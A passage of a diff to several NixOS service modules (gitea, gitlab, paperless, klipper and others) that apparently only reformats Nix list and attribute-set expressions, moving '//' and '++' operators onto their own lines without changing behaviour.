-      } // lib.listToAttrs (map (e: lib.nameValuePair e.env "%d/${e.env}") secrets);
+      }
+      // lib.listToAttrs (map (e: lib.nameValuePair e.env "%d/${e.env}") secrets);
     };
 
     services.openssh.settings.AcceptEnv = mkIf (
diff --git a/nixos/modules/services/misc/gitea.nix b/nixos/modules/services/misc/gitea.nix
index d4225232ed60..7df22bdef885 100644
--- a/nixos/modules/services/misc/gitea.nix
+++ b/nixos/modules/services/misc/gitea.nix
@@ -687,42 +687,42 @@ in
       ];
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/.ssh' 0700 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
+    systemd.tmpfiles.rules = [
+      "d '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/.ssh' 0700 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
 
-        # If we have a folder or symlink with gitea locales, remove it
-        # And symlink the current gitea locales in place
-        "L+ '${cfg.stateDir}/conf/locale' - - - - ${cfg.package.out}/locale"
+      # If we have a folder or symlink with gitea locales, remove it
+      # And symlink the current gitea locales in place
+      "L+ '${cfg.stateDir}/conf/locale' - - - - ${cfg.package.out}/locale"
 
-      ]
-      ++ lib.optionals cfg.lfs.enable [
-        "d '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
-      ];
+    ]
+    ++ lib.optionals cfg.lfs.enable [
+      "d '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
+    ];
 
     systemd.services.gitea = {
       description = "gitea";
-      after =
-        [ "network.target" ]
-        ++ optional usePostgresql "postgresql.service"
-        ++ optional useMysql "mysql.service";
+      after = [
+        "network.target"
+      ]
+      ++ optional usePostgresql "postgresql.service"
+      ++ optional useMysql "mysql.service";
       requires =
         optional (cfg.database.createDatabase && usePostgresql) "postgresql.service"
         ++ optional (cfg.database.createDatabase && useMysql) "mysql.service";
diff --git a/nixos/modules/services/misc/gitlab.nix b/nixos/modules/services/misc/gitlab.nix
index 09dafdda600a..97bfe80586f8 100644
--- a/nixos/modules/services/misc/gitlab.nix
+++ b/nixos/modules/services/misc/gitlab.nix
@@ -39,7 +39,8 @@ let
         username = cfg.databaseUsername;
         encoding = "utf8";
         pool = cfg.databasePool;
-      } // cfg.extraDatabaseConfig;
+      }
+      // cfg.extraDatabaseConfig;
     in
     {
       production =
@@ -141,15 +142,14 @@ let
       omniauth.enabled = false;
       shared.path = "${cfg.statePath}/shared";
       gitaly.client_path = "${cfg.packages.gitaly}/bin";
-      backup =
-        {
-          gitaly_backup_path = "${cfg.packages.gitaly}/bin/gitaly-backup";
-          path = cfg.backup.path;
-          keep_time = cfg.backup.keepTime;
-        }
-        // (optionalAttrs (cfg.backup.uploadOptions != { }) {
-          upload = cfg.backup.uploadOptions;
-        });
+      backup = {
+        gitaly_backup_path = "${cfg.packages.gitaly}/bin/gitaly-backup";
+        path = cfg.backup.path;
+        keep_time = cfg.backup.keepTime;
+      }
+      // (optionalAttrs (cfg.backup.uploadOptions != { }) {
+        upload = cfg.backup.uploadOptions;
+      });
       gitlab_shell = {
         path = "${cfg.packages.gitlab-shell}";
         hooks_path = "${cfg.statePath}/shell/hooks";
@@ -209,17 +209,18 @@ let
     }
     // cfg.extraEnv;
 
-  runtimeDeps =
-    [ git ]
-    ++ (with pkgs; [
-      nodejs
-      gzip
-      gnutar
-      postgresqlPackage
-      coreutils
-      procps
-      findutils # Needed for gitlab:cleanup:orphan_job_artifact_files
-    ]);
+  runtimeDeps = [
+    git
+  ]
+  ++ (with pkgs; [
+    nodejs
+    gzip
+    gnutar
+    postgresqlPackage
+    coreutils
+    procps
+    findutils # Needed for gitlab:cleanup:orphan_job_artifact_files
+  ]);
 
   gitlab-rake = pkgs.stdenv.mkDerivation {
     name = "gitlab-rake";
@@ -1431,13 +1432,14 @@ in
     systemd.services.gitlab-config = {
       wantedBy = [ "gitlab.target" ];
       partOf = [ "gitlab.target" ];
-      path =
-        [ git ]
-        ++ (with pkgs; [
-          jq
-          openssl
-          replace-secret
-        ]);
+      path = [
+        git
+      ]
+      ++ (with pkgs; [
+        jq
+        openssl
+        replace-secret
+      ]);
       serviceConfig = {
         Type = "oneshot";
         User = cfg.user;
@@ -1614,23 +1616,24 @@ in
           SIDEKIQ_MEMORY_KILLER_GRACE_TIME = cfg.sidekiq.memoryKiller.graceTime;
           SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT = cfg.sidekiq.memoryKiller.shutdownWait;
         });
-      path =
-        [ git ]
-        ++ (with pkgs; [
-          postgresqlPackage
-          ruby
-          openssh
-          nodejs
-          gnupg
+      path = [
+        git
+      ]
+      ++ (with pkgs; [
+        postgresqlPackage
+        ruby
+        openssh
+        nodejs
+        gnupg
 
-          "${cfg.packages.gitlab}/share/gitlab/vendor/gems/sidekiq-${cfg.packages.gitlab.rubyEnv.gems.sidekiq.version}"
+        "${cfg.packages.gitlab}/share/gitlab/vendor/gems/sidekiq-${cfg.packages.gitlab.rubyEnv.gems.sidekiq.version}"
 
-          # Needed for GitLab project imports
-          gnutar
-          gzip
+        # Needed for GitLab project imports
+        gnutar
+        gzip
 
-          procps # Sidekiq MemoryKiller
-        ]);
+        procps # Sidekiq MemoryKiller
+      ]);
       serviceConfig = {
         Type = "simple";
         User = cfg.user;
@@ -1666,13 +1669,14 @@ in
       bindsTo = [ "gitlab-config.service" ];
       wantedBy = [ "gitlab.target" ];
       partOf = [ "gitlab.target" ];
-      path =
-        [ git ]
-        ++ (with pkgs; [
-          openssh
-          gzip
-          bzip2
-        ]);
+      path = [
+        git
+      ]
+      ++ (with pkgs; [
+        openssh
+        gzip
+        bzip2
+      ]);
       serviceConfig = {
         Type = "simple";
         User = cfg.user;
@@ -1771,17 +1775,18 @@ in
       after = [ "network.target" ];
       wantedBy = [ "gitlab.target" ];
       partOf = [ "gitlab.target" ];
-      path =
-        [ git ]
-        ++ (with pkgs; [
-          remarshal
-          exiftool
-          git
-          gnutar
-          gzip
-          openssh
-          cfg.packages.gitlab-workhorse
-        ]);
+      path = [
+        git
+      ]
+      ++ (with pkgs; [
+        remarshal
+        exiftool
+        git
+        gnutar
+        gzip
+        openssh
+        cfg.packages.gitlab-workhorse
+      ]);
       serviceConfig = {
         Type = "simple";
         User = cfg.user;
@@ -1851,16 +1856,17 @@ in
       requiredBy = [ "gitlab.target" ];
       partOf = [ "gitlab.target" ];
       environment = gitlabEnv;
-      path =
-        [ git ]
-        ++ (with pkgs; [
-          postgresqlPackage
-          openssh
-          nodejs
-          procps
-          gnupg
-          gzip
-        ]);
+      path = [
+        git
+      ]
+      ++ (with pkgs; [
+        postgresqlPackage
+        openssh
+        nodejs
+        procps
+        gnupg
+        gzip
+      ]);
       serviceConfig = {
         Type = "notify";
         User = cfg.user;
@@ -1886,14 +1892,13 @@ in
       after = [ "gitlab.service" ];
       bindsTo = [ "gitlab.service" ];
       startAt = cfg.backup.startAt;
-      environment =
-        {
-          RAILS_ENV = "production";
-          CRON = "1";
-        }
-        // optionalAttrs (stringLength cfg.backup.skip > 0) {
-          SKIP = cfg.backup.skip;
-        };
+      environment = {
+        RAILS_ENV = "production";
+        CRON = "1";
+      }
+      // optionalAttrs (stringLength cfg.backup.skip > 0) {
+        SKIP = cfg.backup.skip;
+      };
       serviceConfig = {
         User = cfg.user;
         Group = cfg.group;
diff --git a/nixos/modules/services/misc/gitolite.nix b/nixos/modules/services/misc/gitolite.nix
index 9cb7bc769e86..4fab5fc42062 100644
--- a/nixos/modules/services/misc/gitolite.nix
+++ b/nixos/modules/services/misc/gitolite.nix
@@ -125,29 +125,28 @@ in
     let
       manageGitoliteRc = cfg.extraGitoliteRc != "";
       rcDir = pkgs.runCommand "gitolite-rc" { preferLocalBuild = true; } rcDirScript;
-      rcDirScript =
-        ''
-          mkdir "$out"
-          export HOME=temp-home
-          mkdir -p "$HOME/.gitolite/logs" # gitolite can't run without it
-          '${pkgs.gitolite}'/bin/gitolite print-default-rc >>"$out/gitolite.rc.default"
-          cat <<END >>"$out/gitolite.rc"
-          # This file is managed by NixOS.
-          # Use services.gitolite options to control it.
+      rcDirScript = ''
+        mkdir "$out"
+        export HOME=temp-home
+        mkdir -p "$HOME/.gitolite/logs" # gitolite can't run without it
+        '${pkgs.gitolite}'/bin/gitolite print-default-rc >>"$out/gitolite.rc.default"
+        cat <<END >>"$out/gitolite.rc"
+        # This file is managed by NixOS.
+        # Use services.gitolite options to control it.
 
-          END
-          cat "$out/gitolite.rc.default" >>"$out/gitolite.rc"
-        ''
-        + lib.optionalString (cfg.extraGitoliteRc != "") ''
-          echo -n ${lib.escapeShellArg ''
+        END
+        cat "$out/gitolite.rc.default" >>"$out/gitolite.rc"
+      ''
+      + lib.optionalString (cfg.extraGitoliteRc != "") ''
+        echo -n ${lib.escapeShellArg ''
 
-            # Added by NixOS:
-            ${lib.removeSuffix "\n" cfg.extraGitoliteRc}
+          # Added by NixOS:
+          ${lib.removeSuffix "\n" cfg.extraGitoliteRc}
 
-            # per perl rules, this should be the last line in such a file:
-            1;
-          ''} >>"$out/gitolite.rc"
-        '';
+          # per perl rules, this should be the last line in such a file:
+          1;
+        ''} >>"$out/gitolite.rc"
+      '';
     in
     {
       services.gitolite.extraGitoliteRc = lib.optionalString cfg.enableGitAnnex ''
@@ -256,7 +255,8 @@ in
       environment.systemPackages = [
         pkgs.gitolite
         pkgs.git
-      ] ++ lib.optional cfg.enableGitAnnex pkgs.git-annex;
+      ]
+      ++ lib.optional cfg.enableGitAnnex pkgs.git-annex;
     }
   );
 }
diff --git a/nixos/modules/services/misc/gotenberg.nix b/nixos/modules/services/misc/gotenberg.nix
index 6d59b905dbea..e306e530116a 100644
--- a/nixos/modules/services/misc/gotenberg.nix
+++ b/nixos/modules/services/misc/gotenberg.nix
@@ -7,35 +7,34 @@
 let
   cfg = config.services.gotenberg;
 
-  args =
-    [
-      "--api-port=${toString cfg.port}"
-      "--api-timeout=${cfg.timeout}"
-      "--api-root-path=${cfg.rootPath}"
-      "--log-level=${cfg.logLevel}"
-      "--chromium-max-queue-size=${toString cfg.chromium.maxQueueSize}"
-      "--libreoffice-restart-after=${toString cfg.libreoffice.restartAfter}"
-      "--libreoffice-max-queue-size=${toString cfg.libreoffice.maxQueueSize}"
-      "--pdfengines-merge-engines=${lib.concatStringsSep "," cfg.pdfEngines.merge}"
-      "--pdfengines-convert-engines=${lib.concatStringsSep "," cfg.pdfEngines.convert}"
-      "--pdfengines-read-metadata-engines=${lib.concatStringsSep "," cfg.pdfEngines.readMetadata}"
-      "--pdfengines-write-metadata-engines=${lib.concatStringsSep "," cfg.pdfEngines.writeMetadata}"
-      "--api-download-from-allow-list=${cfg.downloadFrom.allowList}"
-      "--api-download-from-max-retry=${toString cfg.downloadFrom.maxRetries}"
-    ]
-    ++ optional cfg.enableBasicAuth "--api-enable-basic-auth"
-    ++ optional cfg.chromium.autoStart "--chromium-auto-start"
-    ++ optional cfg.chromium.disableJavascript "--chromium-disable-javascript"
-    ++ optional cfg.chromium.disableRoutes "--chromium-disable-routes"
-    ++ optional cfg.libreoffice.autoStart "--libreoffice-auto-start"
-    ++ optional cfg.libreoffice.disableRoutes "--libreoffice-disable-routes"
-    ++ optional cfg.pdfEngines.disableRoutes "--pdfengines-disable-routes"
-    ++ optional (
-      cfg.downloadFrom.denyList != null
-    ) "--api-download-from-deny-list=${cfg.downloadFrom.denyList}"
-    ++ optional cfg.downloadFrom.disable "--api-disable-download-from"
-    ++ optional (cfg.bodyLimit != null) "--api-body-limit=${cfg.bodyLimit}"
-    ++ lib.optionals (cfg.extraArgs != [ ]) cfg.extraArgs;
+  args = [
+    "--api-port=${toString cfg.port}"
+    "--api-timeout=${cfg.timeout}"
+    "--api-root-path=${cfg.rootPath}"
+    "--log-level=${cfg.logLevel}"
+    "--chromium-max-queue-size=${toString cfg.chromium.maxQueueSize}"
+    "--libreoffice-restart-after=${toString cfg.libreoffice.restartAfter}"
+    "--libreoffice-max-queue-size=${toString cfg.libreoffice.maxQueueSize}"
+    "--pdfengines-merge-engines=${lib.concatStringsSep "," cfg.pdfEngines.merge}"
+    "--pdfengines-convert-engines=${lib.concatStringsSep "," cfg.pdfEngines.convert}"
+    "--pdfengines-read-metadata-engines=${lib.concatStringsSep "," cfg.pdfEngines.readMetadata}"
+    "--pdfengines-write-metadata-engines=${lib.concatStringsSep "," cfg.pdfEngines.writeMetadata}"
+    "--api-download-from-allow-list=${cfg.downloadFrom.allowList}"
+    "--api-download-from-max-retry=${toString cfg.downloadFrom.maxRetries}"
+  ]
+  ++ optional cfg.enableBasicAuth "--api-enable-basic-auth"
+  ++ optional cfg.chromium.autoStart "--chromium-auto-start"
+  ++ optional cfg.chromium.disableJavascript "--chromium-disable-javascript"
+  ++ optional cfg.chromium.disableRoutes "--chromium-disable-routes"
+  ++ optional cfg.libreoffice.autoStart "--libreoffice-auto-start"
+  ++ optional cfg.libreoffice.disableRoutes "--libreoffice-disable-routes"
+  ++ optional cfg.pdfEngines.disableRoutes "--pdfengines-disable-routes"
+  ++ optional (
+    cfg.downloadFrom.denyList != null
+  ) "--api-download-from-deny-list=${cfg.downloadFrom.denyList}"
+  ++ optional cfg.downloadFrom.disable "--api-disable-download-from"
+  ++ optional (cfg.bodyLimit != null) "--api-body-limit=${cfg.bodyLimit}"
+  ++ lib.optionals (cfg.extraArgs != [ ]) cfg.extraArgs;
 
   inherit (lib)
     mkEnableOption
@@ -345,7 +344,8 @@ in
         SystemCallArchitectures = "native";
 
         UMask = 77;
-      } // optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
+      }
+      // optionalAttrs (cfg.environmentFile != null) { EnvironmentFile = cfg.environmentFile; };
     };
   };
 
diff --git a/nixos/modules/services/misc/heisenbridge.nix b/nixos/modules/services/misc/heisenbridge.nix
index 6460b90e84f1..3abdac1faeaa 100644
--- a/nixos/modules/services/misc/heisenbridge.nix
+++ b/nixos/modules/services/misc/heisenbridge.nix
@@ -195,11 +195,12 @@ in
         RemoveIPC = true;
         UMask = "0077";
 
-        CapabilityBoundingSet =
-          [ "CAP_CHOWN" ]
-          ++ lib.optional (
-            cfg.port < 1024 || (cfg.identd.enable && cfg.identd.port < 1024)
-          ) "CAP_NET_BIND_SERVICE";
+        CapabilityBoundingSet = [
+          "CAP_CHOWN"
+        ]
+        ++ lib.optional (
+          cfg.port < 1024 || (cfg.identd.enable && cfg.identd.port < 1024)
+        ) "CAP_NET_BIND_SERVICE";
         AmbientCapabilities = CapabilityBoundingSet;
         NoNewPrivileges = true;
         LockPersonality = true;
diff --git a/nixos/modules/services/misc/klipper.nix b/nixos/modules/services/misc/klipper.nix
index 78e7f35fed4e..e1dee710cb7d 100644
--- a/nixos/modules/services/misc/klipper.nix
+++ b/nixos/modules/services/misc/klipper.nix
@@ -211,32 +211,31 @@ in
 
         restartTriggers = lib.optional (!cfg.mutableConfig) [ printerConfig ];
 
-        serviceConfig =
-          {
-            ExecStart = "${cfg.package}/bin/klippy ${klippyArgs} ${cfg.configDir}/printer.cfg";
-            RuntimeDirectory = "klipper";
-            StateDirectory = "klipper";
-            SupplementaryGroups = [ "dialout" ];
-            WorkingDirectory = "${cfg.package}/lib";
-            OOMScoreAdjust = "-999";
-            CPUSchedulingPolicy = "rr";
-            CPUSchedulingPriority = 99;
-            IOSchedulingClass = "realtime";
-            IOSchedulingPriority = 0;
-            UMask = "0002";
-          }
-          // (
-            if cfg.user != null then
-              {
-                Group = cfg.group;
-                User = cfg.user;
-              }
-            else
-              {
-                DynamicUser = true;
-                User = "klipper";
-              }
-          );
+        serviceConfig = {
+          ExecStart = "${cfg.package}/bin/klippy ${klippyArgs} ${cfg.configDir}/printer.cfg";
+          RuntimeDirectory = "klipper";
+          StateDirectory = "klipper";
+          SupplementaryGroups = [ "dialout" ];
+          WorkingDirectory = "${cfg.package}/lib";
+          OOMScoreAdjust = "-999";
+          CPUSchedulingPolicy = "rr";
+          CPUSchedulingPriority = 99;
+          IOSchedulingClass = "realtime";
+          IOSchedulingPriority = 0;
+          UMask = "0002";
+        }
+        // (
+          if cfg.user != null then
+            {
+              Group = cfg.group;
+              User = cfg.user;
+            }
+          else
+            {
+              DynamicUser = true;
+              User = "klipper";
+            }
+        );
       };
 
     environment.systemPackages =
diff --git a/nixos/modules/services/misc/metabase.nix b/nixos/modules/services/misc/metabase.nix
index 24cc633d1779..52be4ad91426 100644
--- a/nixos/modules/services/misc/metabase.nix
+++ b/nixos/modules/services/misc/metabase.nix
@@ -87,18 +87,17 @@ in
       wantedBy = [ "multi-user.target" ];
       wants = [ "network-online.target" ];
       after = [ "network-online.target" ];
-      environment =
-        {
-          MB_PLUGINS_DIR = "${dataDir}/plugins";
-          MB_DB_FILE = "${dataDir}/metabase.db";
-          MB_JETTY_HOST = cfg.listen.ip;
-          MB_JETTY_PORT = toString cfg.listen.port;
-        }
-        // optionalAttrs (cfg.ssl.enable) {
-          MB_JETTY_SSL = true;
-          MB_JETTY_SSL_PORT = toString cfg.ssl.port;
-          MB_JETTY_SSL_KEYSTORE = cfg.ssl.keystore;
-        };
+      environment = {
+        MB_PLUGINS_DIR = "${dataDir}/plugins";
+        MB_DB_FILE = "${dataDir}/metabase.db";
+        MB_JETTY_HOST = cfg.listen.ip;
+        MB_JETTY_PORT = toString cfg.listen.port;
+      }
+      // optionalAttrs (cfg.ssl.enable) {
+        MB_JETTY_SSL = true;
+        MB_JETTY_SSL_PORT = toString cfg.ssl.port;
+        MB_JETTY_SSL_KEYSTORE = cfg.ssl.keystore;
+      };
       serviceConfig = {
         DynamicUser = true;
         StateDirectory = baseNameOf dataDir;
diff --git a/nixos/modules/services/misc/moonraker.nix b/nixos/modules/services/misc/moonraker.nix
index 9c6067634209..f1fcc255704b 100644
--- a/nixos/modules/services/misc/moonraker.nix
+++ b/nixos/modules/services/misc/moonraker.nix
@@ -152,35 +152,33 @@ in
 
     environment.etc."moonraker.cfg".source =
       let
-        forcedConfig =
-          {
-            server = {
-              host = cfg.address;
-              port = cfg.port;
-              klippy_uds_address = cfg.klipperSocket;
-            };
-            machine = {
-              validate_service = false;
-            };
-          }
-          // (lib.optionalAttrs (cfg.configDir != null) {
-            file_manager = {
-              config_path = cfg.configDir;
-            };
-          });
+        forcedConfig = {
+          server = {
+            host = cfg.address;
+            port = cfg.port;
+            klippy_uds_address = cfg.klipperSocket;
+          };
+          machine = {
+            validate_service = false;
+          };
+        }
+        // (lib.optionalAttrs (cfg.configDir != null) {
+          file_manager = {
+            config_path = cfg.configDir;
+          };
+        });
         fullConfig = lib.recursiveUpdate cfg.settings forcedConfig;
       in
       format.generate "moonraker.cfg" fullConfig;
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${cfg.stateDir}' - ${cfg.user} ${cfg.group} - -"
-      ]
-      ++ lib.optional (cfg.configDir != null) "d '${cfg.configDir}' - ${cfg.user} ${cfg.group} - -"
-      ++ lib.optionals cfg.analysis.enable [
-        "d '${cfg.stateDir}/tools/klipper_estimator' - ${cfg.user} ${cfg.group} - -"
-        "L+ '${cfg.stateDir}/tools/klipper_estimator/klipper_estimator_linux' - - - - ${lib.getExe pkgs.klipper-estimator}"
-      ];
+    systemd.tmpfiles.rules = [
+      "d '${cfg.stateDir}' - ${cfg.user} ${cfg.group} - -"
+    ]
+    ++ lib.optional (cfg.configDir != null) "d '${cfg.configDir}' - ${cfg.user} ${cfg.group} - -"
+    ++ lib.optionals cfg.analysis.enable [
+      "d '${cfg.stateDir}/tools/klipper_estimator' - ${cfg.user} ${cfg.group} - -"
+      "L+ '${cfg.stateDir}/tools/klipper_estimator/klipper_estimator_linux' - - - - ${lib.getExe pkgs.klipper-estimator}"
+    ];
 
     systemd.services.moonraker = {
       description = "Moonraker, an API web server for Klipper";
diff --git a/nixos/modules/services/misc/octoprint.nix b/nixos/modules/services/misc/octoprint.nix
index 45c631a36dfd..f5fe7f630e42 100644
--- a/nixos/modules/services/misc/octoprint.nix
+++ b/nixos/modules/services/misc/octoprint.nix
@@ -12,7 +12,8 @@ let
     plugins.curalegacy.cura_engine = "${pkgs.curaengine_stable}/bin/CuraEngine";
     server.port = cfg.port;
     webcam.ffmpeg = "${pkgs.ffmpeg.bin}/bin/ffmpeg";
-  } // lib.optionalAttrs (cfg.host != null) { server.host = cfg.host; };
+  }
+  // lib.optionalAttrs (cfg.host != null) { server.host = cfg.host; };
 
   fullConfig = lib.recursiveUpdate cfg.extraConfig baseConfig;
 
diff --git a/nixos/modules/services/misc/open-webui.nix b/nixos/modules/services/misc/open-webui.nix
index a31c6b42d696..78f0be5afe9a 100644
--- a/nixos/modules/services/misc/open-webui.nix
+++ b/nixos/modules/services/misc/open-webui.nix
@@ -94,7 +94,8 @@ in
         HF_HOME = ".";
         SENTENCE_TRANSFORMERS_HOME = ".";
         WEBUI_URL = "http://localhost:${toString cfg.port}";
-      } // cfg.environment;
+      }
+      // cfg.environment;
 
       serviceConfig = {
         ExecStart = "${lib.getExe cfg.package} serve --host \"${cfg.host}\" --port ${toString cfg.port}";
diff --git a/nixos/modules/services/misc/paperless.nix b/nixos/modules/services/misc/paperless.nix
index adcf95671354..1626aa0c5716 100644
--- a/nixos/modules/services/misc/paperless.nix
+++ b/nixos/modules/services/misc/paperless.nix
@@ -15,39 +15,38 @@ let
   enableRedis = !(cfg.settings ? PAPERLESS_REDIS);
   redisServer = config.services.redis.servers.paperless;
 
-  env =
-    {
-      PAPERLESS_DATA_DIR = cfg.dataDir;
-      PAPERLESS_MEDIA_ROOT = cfg.mediaDir;
-      PAPERLESS_CONSUMPTION_DIR = cfg.consumptionDir;
-      PAPERLESS_THUMBNAIL_FONT_NAME = defaultFont;
-      GRANIAN_HOST = cfg.address;
-      GRANIAN_PORT = toString cfg.port;
-    }
-    // lib.optionalAttrs (config.time.timeZone != null) {
-      PAPERLESS_TIME_ZONE = config.time.timeZone;
-    }
-    // lib.optionalAttrs enableRedis {
-      PAPERLESS_REDIS = "unix://${redisServer.unixSocket}";
-    }
-    // lib.optionalAttrs (cfg.settings.PAPERLESS_ENABLE_NLTK or true) {
-      PAPERLESS_NLTK_DIR = pkgs.symlinkJoin {
-        name = "paperless_ngx_nltk_data";
-        paths = cfg.package.nltkData;
-      };
-    }
-    // lib.optionalAttrs (cfg.openMPThreadingWorkaround) {
-      OMP_NUM_THREADS = "1";
-    }
-    // (lib.mapAttrs (
-      _: s:
-      if (lib.isAttrs s || lib.isList s) then
-        builtins.toJSON s
-      else if lib.isBool s then
-        lib.boolToString s
-      else
-        toString s
-    ) cfg.settings);
+  env = {
+    PAPERLESS_DATA_DIR = cfg.dataDir;
+    PAPERLESS_MEDIA_ROOT = cfg.mediaDir;
+    PAPERLESS_CONSUMPTION_DIR = cfg.consumptionDir;
+    PAPERLESS_THUMBNAIL_FONT_NAME = defaultFont;
+    GRANIAN_HOST = cfg.address;
+    GRANIAN_PORT = toString cfg.port;
+  }
+  // lib.optionalAttrs (config.time.timeZone != null) {
+    PAPERLESS_TIME_ZONE = config.time.timeZone;
+  }
+  // lib.optionalAttrs enableRedis {
+    PAPERLESS_REDIS = "unix://${redisServer.unixSocket}";
+  }
+  // lib.optionalAttrs (cfg.settings.PAPERLESS_ENABLE_NLTK or true) {
+    PAPERLESS_NLTK_DIR = pkgs.symlinkJoin {
+      name = "paperless_ngx_nltk_data";
+      paths = cfg.package.nltkData;
+    };
+  }
+  // lib.optionalAttrs (cfg.openMPThreadingWorkaround) {
+    OMP_NUM_THREADS = "1";
+  }
+  // (lib.mapAttrs (
+    _: s:
+    if (lib.isAttrs s || lib.isList s) then
+      builtins.toJSON s
+    else if lib.isBool s then
+      lib.boolToString s
+    else
+      toString s
+  ) cfg.settings);
 
   manage = pkgs.writeShellScriptBin "paperless-manage" ''
     set -o allexport # Export the following env vars
@@ -501,7 +500,8 @@ in
           requires = lib.optional cfg.database.createLocally "postgresql.service";
           after = [
             "paperless-scheduler.service"
-          ] ++ lib.optional cfg.database.createLocally "postgresql.service";
+          ]
+          ++ lib.optional cfg.database.createLocally "postgresql.service";
           serviceConfig = defaultServiceConfig // {
             User = cfg.user;
             ExecStart = "${cfg.package}/bin/celery --app paperless worker --loglevel INFO";
@@ -522,7 +522,8 @@ in
           requires = lib.optional cfg.database.createLocally "postgresql.service";
           after = [
             "paperless-scheduler.service"
-          ] ++ lib.optional cfg.database.createLocally "postgresql.service";
+          ]
+          ++ lib.optional cfg.database.createLocally "postgresql.service";
           serviceConfig = defaultServiceConfig // {
             User = cfg.user;
             ExecStart = "${cfg.package}/bin/paperless-ngx document_consumer";
@@ -543,7 +544,8 @@ in
           requires = lib.optional cfg.database.createLocally "postgresql.service";
           after = [
             "paperless-scheduler.service"
-          ] ++ lib.optional cfg.database.createLocally "postgresql.service";
+          ]
+          ++ lib.optional cfg.database.createLocally "postgresql.service";
           # Setup PAPERLESS_SECRET_KEY.
           # If this environment variable is left unset, paperless-ngx defaults
           # to a well-known value, which is insecure.
diff --git a/nixos/modules/services/misc/pghero.nix b/nixos/modules/services/misc/pghero.nix
index 121c606a817c..fdeeac2029b3 100644
--- a/nixos/modules/services/misc/pghero.nix
+++ b/nixos/modules/services/misc/pghero.nix
@@ -102,7 +102,8 @@ in
       environment = {
         RAILS_ENV = "production";
         PGHERO_CONFIG_PATH = settingsFile;
-      } // cfg.environment;
+      }
+      // cfg.environment;
 
       serviceConfig = {
         Type = "notify";
diff --git a/nixos/modules/services/misc/pinchflat.nix b/nixos/modules/services/misc/pinchflat.nix
index 75c3bce69c21..eb957ab71234 100644
--- a/nixos/modules/services/misc/pinchflat.nix
+++ b/nixos/modules/services/misc/pinchflat.nix
@@ -127,23 +127,22 @@ in
         Type = "simple";
         DynamicUser = true;
         StateDirectory = baseNameOf stateDir;
-        Environment =
-          [
-            "PORT=${builtins.toString cfg.port}"
-            "TZ=${config.time.timeZone}"
-            "MEDIA_PATH=${cfg.mediaDir}"
-            "CONFIG_PATH=${stateDir}"
-            "DATABASE_PATH=${stateDir}/db/pinchflat.db"
-            "LOG_PATH=${stateDir}/logs/pinchflat.log"
-            "METADATA_PATH=${stateDir}/metadata"
-            "EXTRAS_PATH=${stateDir}/extras"
-            "TMPFILE_PATH=${stateDir}/tmp"
-            "TZ_DATA_PATH=${stateDir}/extras/elixir_tz_data"
-            "LOG_LEVEL=${cfg.logLevel}"
-            "PHX_SERVER=true"
-          ]
-          ++ optional cfg.selfhosted [ "RUN_CONTEXT=selfhosted" ]
-          ++ attrValues (mapAttrs (name: value: name + "=" + builtins.toString value) cfg.extraConfig);
+        Environment = [
+          "PORT=${builtins.toString cfg.port}"
+          "TZ=${config.time.timeZone}"
+          "MEDIA_PATH=${cfg.mediaDir}"
+          "CONFIG_PATH=${stateDir}"
+          "DATABASE_PATH=${stateDir}/db/pinchflat.db"
+          "LOG_PATH=${stateDir}/logs/pinchflat.log"
+          "METADATA_PATH=${stateDir}/metadata"
+          "EXTRAS_PATH=${stateDir}/extras"
